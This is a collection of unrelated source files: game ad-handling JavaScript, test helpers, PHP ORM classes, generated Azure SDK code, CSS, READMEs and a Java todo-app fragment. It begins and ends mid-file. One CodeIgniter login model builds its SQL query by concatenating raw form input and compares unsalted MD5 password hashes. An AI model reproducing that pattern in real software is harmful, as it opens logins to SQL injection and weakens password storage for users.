handleLevelPopup2); document.getElementById("startOver").addEventListener("click", handleLevelPopup3); document.getElementById("startOver").addEventListener("touchstart", handleLevelPopup3); }); if (GamePix.localStorage.getItem("timesPlayed") == null) { GamePix.localStorage.setItem("timesPlayed", 0); } var timesPlayed = GamePix.localStorage.getItem("timesPlayed") timesPlayed++ GamePix.localStorage.setItem("timesPlayed", timesPlayed); var showItOrNo = GamePix.localStorage.getItem("showInterstatial"); var onceOnlyAd = 0; var levelEndModal = document.getElementById("levelComplete"); //try again function handleLevelPopup(evt) { // console.log("still here") evt.preventDefault() showItOrNo = GamePix.localStorage.getItem("showInterstatial"); if (showItOrNo == 1) { levelEndModal.style.display = 'none'; GamePix.localStorage.setItem("showInterstatial", 0); //ad call showAd(1); } else { levelEndModal.style.display = 'none' game.state.start("PlayGame"); } } //view rewarded ad and skip level var firstClick2 = 0; function handleLevelPopup2(evt) { if (firstClick2 == 0 ) { firstClick2 = 1; evt.preventDefault() // console.log("showAd") /*fireEnhance2()*/ //if (gdsdk !== 'undefined' && gdsdk.showAd !== 'undefined') { // gdsdk.showAd('rewarded'); //} levelEndModal.style.display = 'none'; LEVEL = GamePix.localStorage.getItem("stackerLevel"); LEVEL = parseInt(LEVEL) + 1; GamePix.localStorage.setItem("stackerLevel", LEVEL); firstClick2 = 0; //ad call showAd(2); //setTimeout(function(){ // levelEndModal.style.display = 'none'; // LEVEL = GamePix.localStorage.getItem("stackerLevel"); // LEVEL = parseInt(LEVEL) + 1; // GamePix.localStorage.setItem("stackerLevel", LEVEL); // game.state.start("PlayGame"); // firstClick2 = 0; // }, 4000); } } //start over function handleLevelPopup3(evt) { evt.preventDefault() // console.log("still here3") levelEndModal.style.display = 'none' LEVEL = 1; //ad call showAd(1); } </script> <script src="loader.js"></script> </body> </html> <!--//Credits to http://www.emanueleferonato.com/ for the tuturial on the javascript that started this project-->
require 'rack/test' require 'rspec' require 'factory_bot' require 'database_cleaner' require 'capybara/dsl' ENV['RACK_ENV'] = 'test' require File.expand_path '../../app.rb', __FILE__ # подключение RSpec в тесты module RSpecMixin include Rack::Test::Methods def app Sinatra::Application end end RSpec::Matchers.define :have_filled_chart_with_title do |title| match do |page| expect(page).to have_content title expect(page).to have_content 'LineChart("chart-1", [{' end end # конфигурация DatabaseCleaner RSpec.configure do |config| config.include RSpecMixin config.include FactoryBot::Syntax::Methods config.include Capybara::DSL config.before(:suite) do FactoryBot.find_definitions DatabaseCleaner.strategy = :transaction DatabaseCleaner.clean_with(:truncation) DatabaseCleaner.start end config.before do DatabaseCleaner.start end config.after do DatabaseCleaner.clean end config.after(:suite) do DatabaseCleaner.clean end end # конфигурация Capybara Capybara.app = Sinatra::Application Capybara.ignore_hidden_elements = false # конфигурация FactoryBot и определение фабрики FactoryBot.define do sequence :time do |n| Time.now - (n * 3600) end factory :telemetry, class: Pow do factor { (100.0 / (120 + rand(20))).round(2) } datetime { generate(:time) } voltage { 210 + rand(30) } current { (10.0 / (15 + rand(15))).round(3) } power { voltage * current * factor } alarm_power '100' alarm_on true period { power * rand(8..12) / 10 } end end
<?php declare(strict_types=1); /* * This file is part of gpupo/common-schema created by Gilmar Pupo <contact@gpupo.com> * For the information of copyright and license you should read the file LICENSE which is * distributed with this source code. For more information, see <https://opensource.gpupo.com/> */ namespace Gpupo\CommonSchema\ORM\EntityRepository\Trading\Payment; /** * PaymentRepository. * * This class was generated by the Doctrine ORM. Add your own custom * repository methods below. */ class PaymentRepository extends \Gpupo\CommonSchema\ORM\EntityRepository\AbstractEntityRepository { }
# encoding: utf-8 # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. module Azure::Network::Mgmt::V2019_09_01 module Models # # City or town details. # class AvailableProvidersListCity include MsRestAzure # @return [String] The city or town name. attr_accessor :city_name # @return [Array<String>] A list of Internet service providers. attr_accessor :providers # # Mapper for AvailableProvidersListCity class as Ruby Hash. # This will be used for serialization/deserialization. # def self.mapper() { client_side_validation: true, required: false, serialized_name: 'AvailableProvidersListCity', type: { name: 'Composite', class_name: 'AvailableProvidersListCity', model_properties: { city_name: { client_side_validation: true, required: false, serialized_name: 'cityName', type: { name: 'String' } }, providers: { client_side_validation: true, required: false, serialized_name: 'providers', type: { name: 'Sequence', element: { client_side_validation: true, required: false, serialized_name: 'StringElementType', type: { name: 'String' } } } } } } } end end end end
<?php $this->response->setStatusCode(404); // ... return $this->response->setJSON(['foo' => 'bar']);
from collections import Counter from os.path import splitext import matplotlib.pyplot as plt from arcapix.fs.gpfs import ListProcessingRule, ManagementPolicy def type_sizes(file_list): c = Counter() for f in file_list: c.update({splitext(f.name): f.filesize}) return c p = ManagementPolicy() r = p.rules.new(ListProcessingRule, 'types', type_sizes) result = p.run('mmfs1')['types'] plt.pie(list(result.values()), labels=list(result.keys()), autopct='%1.1f%%') plt.axis('equal') plt.show()
using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.IO; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Web; using System.Windows.Forms; using System.Xml; using System.Xml.Linq; using System.Xml.Xsl; using JsonXslt.HtmlExample.Properties; using Newtonsoft.Json.Linq; namespace JsonXslt.HtmlExample { public partial class HtmlExample : Form { private readonly JObject json = JObject.Parse("{ \"Sport\" : \"Football\", \"Scores\" : [ { \"Name\" : \"Eagles\", \"Score\" : 21 }, { \"Name\" : \"Hawks\", \"Score\" : 14 } ]}"); private readonly XslCompiledTransform transform = new XslCompiledTransform(true); public HtmlExample() { InitializeComponent(); using (StringReader sr = new StringReader(Resources.HtmlExample)) { using (XmlTextReader xr = new XmlTextReader(sr)) { transform.Load(xr, new XsltSettings(true, false), null); } } } private void ViewJsonButton_Click(object sender, EventArgs e) { WebBrowserControl.DocumentText = FormatAsWeb(json.ToString()); } private void ViewXsltButton_Click(object sender, EventArgs e) { WebBrowserControl.DocumentText = FormatAsWeb(Resources.HtmlExample); } private void ViewResultButton_Click(object sender, EventArgs e) { using (StringWriter sw = new StringWriter()) { using (XmlTextWriter tw = new XmlTextWriter(sw)) { transform.Transform(new JsonXPathNavigator(json), tw); } WebBrowserControl.DocumentText = sw.ToString(); } } private void ViewAsXmlButton_Click(object sender, EventArgs e) { WebBrowserControl.DocumentText = FormatAsWeb(XDocument.Load(new JsonXPathNavigator(json).ReadSubtree()).ToString()); } private string FormatAsWeb(string str) { return HttpUtility.HtmlEncode(str).Replace("\r\n", "<br/>").Replace(" ", "&nbsp;").Replace("\t", " "); } } }
body { background-color: #FFD605; margin: 0; padding: 0; } #root { display: flex; justify-content: center; align-items: center; height: 100vh; width: 100vw; } .Card { display: flex; position: relative; background-color: #215CFF; border-radius: 5px; width: 350px; height: 70vh; box-shadow: 2px 2px 5px rgba(0, 0, 0, 0.1); overflow: hidden; } .Card svg { overflow: hidden; border-radius: 5px; position: absolute; top: -1px; /* fixes rendering issue in FF */ z-index: 10; width: 100%; height: 100%; } .Card svg path { fill: #0038CC; }
--- title: Course Report - Where Are They Now? date: 2018-10-04 description: Featured in a blog post catching up with four bootcamp alumni to see how our careers have grown. 🤔 image: https://i.imgur.com/vOkUdeS.png link: https://www.coursereport.com/blog/where-are-they-now-bootcamp-alumni categories: - press ---
<?php namespace Joschi127\DoctrineEntityOverrideBundle\Tests\Functional\src\Entity; use FOS\UserBundle\Model\User as BaseUser; use Doctrine\Common\Collections\ArrayCollection; use Doctrine\ORM\Mapping as ORM; use Symfony\Component\Validator\Constraints as Assert; /** * @ORM\Entity * @ORM\Table(name="test_user") */ class User extends BaseUser { /** * @var int * @ORM\Id * @ORM\Column(type="integer") * @ORM\GeneratedValue(strategy="AUTO") */ protected $id; /** * @var string * @ORM\Column(type="string", length=255, nullable=true) */ protected $firstName; /** * @var string * @ORM\Column(type="string", length=255, nullable=true) */ protected $lastName; /** * Overridden property from FOS\UserBundle\Model\User. * * @var string * @ORM\Column(type="string", length=110, nullable=false) */ protected $username; /** * Overridden property from FOS\UserBundle\Model\User. * * @var string * @ORM\Column(type="string", length=120, nullable=true) */ protected $email; /** * @var ArrayCollection * @ORM\ManyToMany(targetEntity="Joschi127\DoctrineEntityOverrideBundle\Tests\Functional\src\Entity\Group", cascade={"persist"}) * @ORM\JoinTable(name="test_user_has_group", * joinColumns={@ORM\JoinColumn(name="user_id", referencedColumnName="id")}, * inverseJoinColumns={@ORM\JoinColumn(name="group_id", referencedColumnName="id", unique=true)} * ) */ protected $groups; /** * @var UserActivity * @ORM\OneToOne(targetEntity="Joschi127\DoctrineEntityOverrideBundle\Tests\Functional\src\Entity\UserActivity", mappedBy="user", cascade={"persist", "remove", "merge"}) */ protected $userActivity; public function __construct() { parent::__construct(); $this->groups = new ArrayCollection(); } /** * @return string */ public function getFirstName() { return $this->firstName; } /** * @param string $firstName */ public function setFirstName($firstName) { $this->firstName = $firstName; } /** * @return string */ public function getLastName() { return $this->lastName; } /** * @param string $lastName */ public function setLastName($lastName) { $this->lastName = $lastName; } /** * @return UserActivity */ public function getUserActivity() { return $this->userActivity; } /** * @param UserActivity $userActivity */ public function setUserActivity($userActivity) { $userActivity->setUser($this); $this->userActivity = $userActivity; } }
class MetaProperty { constructor (options) { this.type = 'MetaProperty' Object.assign(this, options) } } module.exports = MetaProperty
//go:build go1.16 // +build go1.16 // Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. See License.txt in the project root for license information. // Code generated by Microsoft (R) AutoRest Code Generator. // Changes may cause incorrect behavior and will be lost if the code is regenerated. package armmachinelearningservices import ( "context" "github.com/Azure/azure-sdk-for-go/sdk/azcore/policy" "github.com/Azure/azure-sdk-for-go/sdk/azcore/runtime" "net/http" "reflect" ) // ComputeClientListNodesPager provides operations for iterating over paged responses. type ComputeClientListNodesPager struct { client *ComputeClient current ComputeClientListNodesResponse err error requester func(context.Context) (*policy.Request, error) advancer func(context.Context, ComputeClientListNodesResponse) (*policy.Request, error) } // Err returns the last error encountered while paging. func (p *ComputeClientListNodesPager) Err() error { return p.err } // NextPage returns true if the pager advanced to the next page. // Returns false if there are no more pages or an error occurred. func (p *ComputeClientListNodesPager) NextPage(ctx context.Context) bool { var req *policy.Request var err error if !reflect.ValueOf(p.current).IsZero() { if p.current.AmlComputeNodesInformation.NextLink == nil || len(*p.current.AmlComputeNodesInformation.NextLink) == 0 { return false } req, err = p.advancer(ctx, p.current) } else { req, err = p.requester(ctx) } if err != nil { p.err = err return false } resp, err := p.client.pl.Do(req) if err != nil { p.err = err return false } if !runtime.HasStatusCode(resp, http.StatusOK) { p.err = runtime.NewResponseError(resp) return false } result, err := p.client.listNodesHandleResponse(resp) if err != nil { p.err = err return false } p.current = result return true } // PageResponse returns the current ComputeClientListNodesResponse page. func (p *ComputeClientListNodesPager) PageResponse() ComputeClientListNodesResponse { return p.current } // ComputeClientListPager provides operations for iterating over paged responses. type ComputeClientListPager struct { client *ComputeClient current ComputeClientListResponse err error requester func(context.Context) (*policy.Request, error) advancer func(context.Context, ComputeClientListResponse) (*policy.Request, error) } // Err returns the last error encountered while paging. func (p *ComputeClientListPager) Err() error { return p.err } // NextPage returns true if the pager advanced to the next page. // Returns false if there are no more pages or an error occurred. func (p *ComputeClientListPager) NextPage(ctx context.Context) bool { var req *policy.Request var err error if !reflect.ValueOf(p.current).IsZero() { if p.current.PaginatedComputeResourcesList.NextLink == nil || len(*p.current.PaginatedComputeResourcesList.NextLink) == 0 { return false } req, err = p.advancer(ctx, p.current) } else { req, err = p.requester(ctx) } if err != nil { p.err = err return false } resp, err := p.client.pl.Do(req) if err != nil { p.err = err return false } if !runtime.HasStatusCode(resp, http.StatusOK) { p.err = runtime.NewResponseError(resp) return false } result, err := p.client.listHandleResponse(resp) if err != nil { p.err = err return false } p.current = result return true } // PageResponse returns the current ComputeClientListResponse page. func (p *ComputeClientListPager) PageResponse() ComputeClientListResponse { return p.current } // QuotasClientListPager provides operations for iterating over paged responses. type QuotasClientListPager struct { client *QuotasClient current QuotasClientListResponse err error requester func(context.Context) (*policy.Request, error) advancer func(context.Context, QuotasClientListResponse) (*policy.Request, error) } // Err returns the last error encountered while paging. func (p *QuotasClientListPager) Err() error { return p.err } // NextPage returns true if the pager advanced to the next page. // Returns false if there are no more pages or an error occurred. func (p *QuotasClientListPager) NextPage(ctx context.Context) bool { var req *policy.Request var err error if !reflect.ValueOf(p.current).IsZero() { if p.current.ListWorkspaceQuotas.NextLink == nil || len(*p.current.ListWorkspaceQuotas.NextLink) == 0 { return false } req, err = p.advancer(ctx, p.current) } else { req, err = p.requester(ctx) } if err != nil { p.err = err return false } resp, err := p.client.pl.Do(req) if err != nil { p.err = err return false } if !runtime.HasStatusCode(resp, http.StatusOK) { p.err = runtime.NewResponseError(resp) return false } result, err := p.client.listHandleResponse(resp) if err != nil { p.err = err return false } p.current = result return true } // PageResponse returns the current QuotasClientListResponse page. func (p *QuotasClientListPager) PageResponse() QuotasClientListResponse { return p.current } // UsagesClientListPager provides operations for iterating over paged responses. type UsagesClientListPager struct { client *UsagesClient current UsagesClientListResponse err error requester func(context.Context) (*policy.Request, error) advancer func(context.Context, UsagesClientListResponse) (*policy.Request, error) } // Err returns the last error encountered while paging. func (p *UsagesClientListPager) Err() error { return p.err } // NextPage returns true if the pager advanced to the next page. // Returns false if there are no more pages or an error occurred. func (p *UsagesClientListPager) NextPage(ctx context.Context) bool { var req *policy.Request var err error if !reflect.ValueOf(p.current).IsZero() { if p.current.ListUsagesResult.NextLink == nil || len(*p.current.ListUsagesResult.NextLink) == 0 { return false } req, err = p.advancer(ctx, p.current) } else { req, err = p.requester(ctx) } if err != nil { p.err = err return false } resp, err := p.client.pl.Do(req) if err != nil { p.err = err return false } if !runtime.HasStatusCode(resp, http.StatusOK) { p.err = runtime.NewResponseError(resp) return false } result, err := p.client.listHandleResponse(resp) if err != nil { p.err = err return false } p.current = result return true } // PageResponse returns the current UsagesClientListResponse page. func (p *UsagesClientListPager) PageResponse() UsagesClientListResponse { return p.current } // WorkspaceFeaturesClientListPager provides operations for iterating over paged responses. type WorkspaceFeaturesClientListPager struct { client *WorkspaceFeaturesClient current WorkspaceFeaturesClientListResponse err error requester func(context.Context) (*policy.Request, error) advancer func(context.Context, WorkspaceFeaturesClientListResponse) (*policy.Request, error) } // Err returns the last error encountered while paging. func (p *WorkspaceFeaturesClientListPager) Err() error { return p.err } // NextPage returns true if the pager advanced to the next page. // Returns false if there are no more pages or an error occurred. func (p *WorkspaceFeaturesClientListPager) NextPage(ctx context.Context) bool { var req *policy.Request var err error if !reflect.ValueOf(p.current).IsZero() { if p.current.ListAmlUserFeatureResult.NextLink == nil || len(*p.current.ListAmlUserFeatureResult.NextLink) == 0 { return false } req, err = p.advancer(ctx, p.current) } else { req, err = p.requester(ctx) } if err != nil { p.err = err return false } resp, err := p.client.pl.Do(req) if err != nil { p.err = err return false } if !runtime.HasStatusCode(resp, http.StatusOK) { p.err = runtime.NewResponseError(resp) return false } result, err := p.client.listHandleResponse(resp) if err != nil { p.err = err return false } p.current = result return true } // PageResponse returns the current WorkspaceFeaturesClientListResponse page. func (p *WorkspaceFeaturesClientListPager) PageResponse() WorkspaceFeaturesClientListResponse { return p.current } // WorkspaceSKUsClientListPager provides operations for iterating over paged responses. type WorkspaceSKUsClientListPager struct { client *WorkspaceSKUsClient current WorkspaceSKUsClientListResponse err error requester func(context.Context) (*policy.Request, error) advancer func(context.Context, WorkspaceSKUsClientListResponse) (*policy.Request, error) } // Err returns the last error encountered while paging. func (p *WorkspaceSKUsClientListPager) Err() error { return p.err } // NextPage returns true if the pager advanced to the next page. // Returns false if there are no more pages or an error occurred. func (p *WorkspaceSKUsClientListPager) NextPage(ctx context.Context) bool { var req *policy.Request var err error if !reflect.ValueOf(p.current).IsZero() { if p.current.SKUListResult.NextLink == nil || len(*p.current.SKUListResult.NextLink) == 0 { return false } req, err = p.advancer(ctx, p.current) } else { req, err = p.requester(ctx) } if err != nil { p.err = err return false } resp, err := p.client.pl.Do(req) if err != nil { p.err = err return false } if !runtime.HasStatusCode(resp, http.StatusOK) { p.err = runtime.NewResponseError(resp) return false } result, err := p.client.listHandleResponse(resp) if err != nil { p.err = err return false } p.current = result return true } // PageResponse returns the current WorkspaceSKUsClientListResponse page. func (p *WorkspaceSKUsClientListPager) PageResponse() WorkspaceSKUsClientListResponse { return p.current } // WorkspacesClientListByResourceGroupPager provides operations for iterating over paged responses. type WorkspacesClientListByResourceGroupPager struct { client *WorkspacesClient current WorkspacesClientListByResourceGroupResponse err error requester func(context.Context) (*policy.Request, error) advancer func(context.Context, WorkspacesClientListByResourceGroupResponse) (*policy.Request, error) } // Err returns the last error encountered while paging. func (p *WorkspacesClientListByResourceGroupPager) Err() error { return p.err } // NextPage returns true if the pager advanced to the next page. // Returns false if there are no more pages or an error occurred. func (p *WorkspacesClientListByResourceGroupPager) NextPage(ctx context.Context) bool { var req *policy.Request var err error if !reflect.ValueOf(p.current).IsZero() { if p.current.WorkspaceListResult.NextLink == nil || len(*p.current.WorkspaceListResult.NextLink) == 0 { return false } req, err = p.advancer(ctx, p.current) } else { req, err = p.requester(ctx) } if err != nil { p.err = err return false } resp, err := p.client.pl.Do(req) if err != nil { p.err = err return false } if !runtime.HasStatusCode(resp, http.StatusOK) { p.err = runtime.NewResponseError(resp) return false } result, err := p.client.listByResourceGroupHandleResponse(resp) if err != nil { p.err = err return false } p.current = result return true } // PageResponse returns the current WorkspacesClientListByResourceGroupResponse page. func (p *WorkspacesClientListByResourceGroupPager) PageResponse() WorkspacesClientListByResourceGroupResponse { return p.current } // WorkspacesClientListBySubscriptionPager provides operations for iterating over paged responses. type WorkspacesClientListBySubscriptionPager struct { client *WorkspacesClient current WorkspacesClientListBySubscriptionResponse err error requester func(context.Context) (*policy.Request, error) advancer func(context.Context, WorkspacesClientListBySubscriptionResponse) (*policy.Request, error) } // Err returns the last error encountered while paging. func (p *WorkspacesClientListBySubscriptionPager) Err() error { return p.err } // NextPage returns true if the pager advanced to the next page. // Returns false if there are no more pages or an error occurred. func (p *WorkspacesClientListBySubscriptionPager) NextPage(ctx context.Context) bool { var req *policy.Request var err error if !reflect.ValueOf(p.current).IsZero() { if p.current.WorkspaceListResult.NextLink == nil || len(*p.current.WorkspaceListResult.NextLink) == 0 { return false } req, err = p.advancer(ctx, p.current) } else { req, err = p.requester(ctx) } if err != nil { p.err = err return false } resp, err := p.client.pl.Do(req) if err != nil { p.err = err return false } if !runtime.HasStatusCode(resp, http.StatusOK) { p.err = runtime.NewResponseError(resp) return false } result, err := p.client.listBySubscriptionHandleResponse(resp) if err != nil { p.err = err return false } p.current = result return true } // PageResponse returns the current WorkspacesClientListBySubscriptionResponse page. func (p *WorkspacesClientListBySubscriptionPager) PageResponse() WorkspacesClientListBySubscriptionResponse { return p.current }
# Range Grouping for jQuery ## Overview Simple plugin to group input ranges. The ranges will be limited by a shared max sum. <img src="https://raw.githubusercontent.com/jhovgaard/jquery.rangegroup/master/jquery.rangegroup.gif" /> Live example: http://jsfiddle.net/pfcjjkb7/ ## Usage First include jQuery and the rangegroup file: <script src="jquery.js" type="text/javascript"></script> <script src="jquery.rangegroup.js" type="text/javascript"></script> Second, add the `range-group` and `range-group-max-sum` attributes to your range element like this: <input type="range" range-group="myGroup1" name="range1" range-group-max-sum="200" min="0" max="100"> <input type="range" range-group="myGroup1" name="range2" range-group-max-sum="200" min="0" max="100"> <input type="range" range-group="myGroup1" name="range3" range-group-max-sum="200" min="0" max="100"> Please notice if the max-sum values is different, the plugin will use the value set in the first input.
[![Build Status](https://travis-ci.org/appsembler/roles.svg?branch=develop)](https://travis-ci.org/appsembler/roles) # Ansible Roles The purpose of this repository is to collect general-purpose Ansible roles with a focus on sane defaults, extensibility, and reusability. ## Getting started Clone this repo: $ cd /path/to/extra/roles $ git clone git@github.com:appsembler/roles.git appsembler-roles Add it to your `ansible.cfg`: [defaults] roles_path = /path/to/extra/roles/appsembler-roles ## Philosophy Roles that live in this repo should be general enough to be reused across multiple applications. Please read the [documentation on best practices][best-practices]. [best-practices]: https://github.com/appsembler/roles/tree/develop/docs/best-practices.md ## Testing At the very least, you should run a syntax check locally: $ make syntax-check The repo is configured to run some basic tests on TravisCI. It runs them on Ubuntu 14.04 and 16.04 systems with different ansible versions, just checking that the roles can be applied without errors and that they are idempotent. (TODO: document how to run these tests locally)
<?php namespace Faulancer\ORM\User; use Faulancer\ORM\Entity as BaseEntity; /** * Class Role * * @property string $roleName * * @author Florian Knapp <office@florianknapp.de> */ class Role extends BaseEntity { protected static $relations = [ 'users' => [Entity::class, ['id' => 'role_id'], 'roles', 'userrole'] ]; protected static $tableName = 'role'; }
<?php if (!defined('BASEPATH')) exit('No ingrese directamente es este script'); /* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ /** * Description of login * * @author jucactru */ class Login_model extends CI_Model { //constructor public function __construct() { parent::__construct(); } //fin del constructor /* * ------------------------------------------------------- * Método para obtener los datos del usuario * ------------------------------------------------------- * Párametros * No tiene variables de parámetros * ------------------------------------------------------ * Retorno * @valorRetorno | arreglo | Si se encuentran resultados en la base de datos. */ public function consultarDatos() { //creo la variable de retotno $valorRetorno = null; //creo la cadena de where manual $dataWhere = '( usu_correo = "' . $this->input->post('text_user', TRUE) . '" ' . 'OR usu_username = "' . $this->input->post('text_user', TRUE) . '") ' . 'AND usu_contrasena = "' . do_hash($this->input->post('text_contrasena', TRUE), 'md5') . '" ' . 'AND usuario.est_id = 1'; //preparo el select $this->db->select('usu_id, usu_nombre, usu_apellido, usu_correo, usuario_rol.usu_rol_id, usu_foto'); //preparo el join $this->db->join('usuario_rol', 'usuario_rol.usu_rol_id = usuario.usu_rol_id'); //ejecuto la consulta de los datos del usuario $usuarioLogin = $this->db->get_where('usuario', $dataWhere); //verifico los resultados de la consulta if ($usuarioLogin->num_rows() == 1): //retornamos el valor usuario login foreach ($usuarioLogin->result() as $filaTabla): $valorRetorno = $filaTabla; endforeach; endif; ////fin del if //devuelvo el valor retorno return $valorRetorno; } //fin del metodo }
"use strict"; var _getSert = require("../getsert"); var generateCode = require("../../../src/utils/code-generator"); class StorageDataUtil { getSert(input) { var ManagerType = require("../../../src/managers/master/storage-manager"); return _getSert(input, ManagerType, (data) => { return { code: data.code }; }); } getNewData() { var Model = require('bateeq-models').master.Storage; var data = new Model(); var code = generateCode(); data.code = code; data.name = `name[${code}]`; data.description = `storage description [${code}]`; return Promise.resolve(data); } getRandomTestData() { return this.getNewData() .then((data) => { return this.getSert(data); }); } getTestData() { var data = { code: 'UT/STO/01', name: 'Storage Unit Test', description: '' }; return this.getSert(data); } getPackingTestData() { var data = { code: 'GDG.07', name: 'Gudang Accesories', description: '' }; return this.getSert(data); } } module.exports = new StorageDataUtil();
package com.sap.data.app.entity.system; import javax.persistence.CascadeType; import javax.persistence.Entity; import javax.persistence.GeneratedValue; import javax.persistence.Id; import javax.persistence.JoinColumn; import javax.persistence.ManyToOne; import javax.persistence.Table; import org.hibernate.annotations.Cache; import org.hibernate.annotations.CacheConcurrencyStrategy; import org.hibernate.annotations.GenericGenerator; import com.sap.data.app.entity.task.Task; @Entity //表名与类名不相同时重新定义表名. @Table(name = "DM_EVENT") //默认的缓存策略. @Cache(usage = CacheConcurrencyStrategy.READ_WRITE) public class Event { private String eventId; private String eventName; /* private Task task; @ManyToOne(cascade=CascadeType.ALL) @JoinColumn(name="task_id") public Task getTask() { return task; } public void setTask(Task task) { this.task = task; }*/ public String getEventName() { return eventName; } public void setEventName(String eventName) { this.eventName = eventName; } private String eventDes; private String comments; @Id @GeneratedValue(generator = "system-uuid") @GenericGenerator(name = "system-uuid", strategy = "uuid") public String getEventId() { return eventId; } public void setEventId(String eventId) { this.eventId = eventId; } public String getEventDes() { return eventDes; } public void setEventDes(String eventDes) { this.eventDes = eventDes; } public String getComments() { return comments; } public void setComments(String comments) { this.comments = comments; } }
#region License // TableDependency, SqlTableDependency // Copyright (c) 2015-2020 Christian Del Bianco. All rights reserved. // // Permission is hereby granted, free of charge, to any person // obtaining a copy of this software and associated documentation // files (the "Software"), to deal in the Software without // restriction, including without limitation the rights to use, // copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the // Software is furnished to do so, subject to the following // conditions: // // The above copyright notice and this permission notice shall be // included in all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, // EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES // OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND // NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT // HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, // WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING // FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR // OTHER DEALINGS IN THE SOFTWARE. #endregion using System; using System.Collections.Generic; using System.Linq.Expressions; using System.Reflection; namespace TableDependency.SqlClient.Base.Abstracts { public interface IUpdateOfModel<T> where T : class { void Add(params Expression<Func<T, object>>[] expressions); int Count(); IList<PropertyInfo> GetPropertiesInfos(); } }
/* Copyright 2008-2009 University of Cambridge Copyright 2008-2009 University of Toronto Licensed under the Educational Community License (ECL), Version 2.0 or the New BSD license. You may not use this file except in compliance with one these Licenses. You may obtain a copy of the ECL 2.0 License and BSD License at https://source.fluidproject.org/svn/LICENSE.txt */ /*global jQuery*/ var fluid = fluid || {}; (function ($) { var selectOnFocus = false; // Private functions. var makeTabsSelectable = function (tablist) { var tabs = tablist.children("li"); // Put the tablist in the tab focus order. Take each tab *out* of the tab order // so that they can be navigated with the arrow keys instead of the tab key. fluid.tabbable(tablist); // When we're using the Windows style interaction, select the tab as soon as it's focused. var selectTab = function (tabToSelect) { if (selectOnFocus) { tablist.tabs('select', tabs.index(tabToSelect)); } }; // Make the tab list selectable with the arrow keys: // * Pass in the items you want to make selectable. // * Register your onSelect callback to make the tab actually selected. // * Specify the orientation of the tabs (the default is vertical) fluid.selectable(tablist, { selectableElements: tabs, onSelect: selectTab, direction: fluid.a11y.orientation.HORIZONTAL }); // Use an activation handler if we are using the "Mac OS" style tab interaction. // In this case, we shouldn't actually select the tab until the Enter or Space key is pressed. fluid.activatable(tablist, function (tabToSelect) { if (!selectOnFocus) { tablist.tabs('select', tabs.index(tabToSelect)); } }); }; var addARIA = function (tablist, panelsId) { var tabs = tablist.children("li"); var panels = $("#" + "panels" + " > div"); // Give the container a role of tablist tablist.attr("role", "tablist"); // Each tab should have a role of Tab, // and a "position in set" property describing its order within the tab list. tabs.each (function(i, tab) { $(tab).attr("role", "tab"); }); // Give each panel a role of tabpanel panels.attr("role", "tabpanel"); // And associate each panel with its tab using the labelledby relation. panels.each (function (i, panel) { $(panel).attr("aria-labelledby", panel.id.split("Panel")[0] + "Tab"); }); }; // Public API. fluid.accessibletabs = function (tabsId, panelsId) { var tablist = $("#" + tabsId); // Remove the anchors in the list from the tab order. fluid.tabindex(tablist.find("a"), -1); // Turn the list into a jQuery UI tabs widget. tablist.tabs(); // Make them accessible. makeTabsSelectable(tablist); addARIA(tablist, panelsId); }; // When the document is loaded, initialize our tabs. $(function () { selectOnFocus = false; // Instantiate the tabs widget. fluid.accessibletabs("tabs", "panels"); // Bind the select on focus link. $("#selectOnFocusLink").click(function (evt) { selectOnFocus = !selectOnFocus; if (selectOnFocus) { $(evt.target).text("Enabled"); } else { $(evt.target).text("Disabled"); } return false; }); }); }) (jQuery);
# A0138967J ###### /java/seedu/todo/commons/events/ui/SummaryPanelSelectionEvent.java ``` java public class SummaryPanelSelectionEvent extends BaseEvent { @Override public String toString() { return this.getClass().getSimpleName(); } } ``` ###### /java/seedu/todo/commons/events/ui/WeekSummaryPanelSelectionEvent.java ``` java public class WeekSummaryPanelSelectionEvent extends BaseEvent { @Override public String toString() { return this.getClass().getSimpleName(); } } ``` ###### /java/seedu/todo/logic/commands/MarkCommand.java ``` java /** * Marks a task identified using it's last displayed index from the to do list. */ public class MarkCommand extends Command { public static final String COMMAND_WORD = "mark"; public static final String MESSAGE_USAGE = COMMAND_WORD + ": Marks the task identified by the index number used in the last task listing.\n" + "Parameters: INDEX (must be a positive integer)\n" + "Example: " + COMMAND_WORD + " 1"; public static final String MESSAGE_SUCCESS = "Mark Task at Index: %1$d\n%2$s"; public final int targetIndex; public MarkCommand(int targetIndex) { this.targetIndex = targetIndex; } /** * Executes the Mark Command * * Will return a message to inform the user if an invalid target index is used * or the task specified cannot be found, */ @Override public CommandResult execute() { UnmodifiableObservableList<ReadOnlyTask> lastShownList = model.getFilteredTaskList(); if (lastShownList.size() < targetIndex) { indicateAttemptToExecuteIncorrectCommand(); return new CommandResult(Messages.MESSAGE_INVALID_TASK_DISPLAYED_INDEX); } ReadOnlyTask taskToMark = lastShownList.get(targetIndex - 1); try { Task newTask = new Task(taskToMark); if (newTask.isRecurring()) { newTask.getRecurrence().updateTaskDate(newTask); } else { newTask.setCompletion(new Completion(true)); } model.updateTask(taskToMark, newTask); model.refreshCurrentFilteredTaskList(); model.updateTodayListToShowAll(); model.updateWeekListToShowAll(); } catch (TaskNotFoundException tnfe) { return new CommandResult(Messages.MESSAGE_TASK_NOT_FOUND); } return new CommandResult(String.format(MESSAGE_SUCCESS, targetIndex, taskToMark)); } } ``` ###### /java/seedu/todo/logic/Logic.java ``` java ObservableList<ReadOnlyTask> getUnmodifiableTodayTaskList(); ObservableList<ReadOnlyTask> getUnmodifiableWeekTaskList(); ``` ###### /java/seedu/todo/logic/LogicManager.java ``` java public ObservableList<ReadOnlyTask> getUnmodifiableTodayTaskList() { return 